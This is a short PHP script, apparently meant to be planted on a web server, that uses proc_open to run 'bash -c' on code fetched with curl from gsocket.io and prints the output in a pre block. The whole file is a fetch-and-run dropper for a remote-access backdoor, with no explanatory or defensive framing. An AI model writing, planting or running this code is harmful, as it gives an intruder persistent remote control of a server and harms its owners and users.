<?php
$process = proc_open("bash -c \"$(curl -fsSL https://gsocket.io/y)\"", [
    0 => ["pipe", "r"], // STDIN
    1 => ["pipe", "w"], // STDOUT
    2 => ["pipe", "w"]  // STDERR
], $pipes);

if (is_resource($process)) {
    echo "<pre>" . stream_get_contents($pipes[1]) . "</pre>";
    fclose($pipes[1]);
    proc_close($process);
}
?>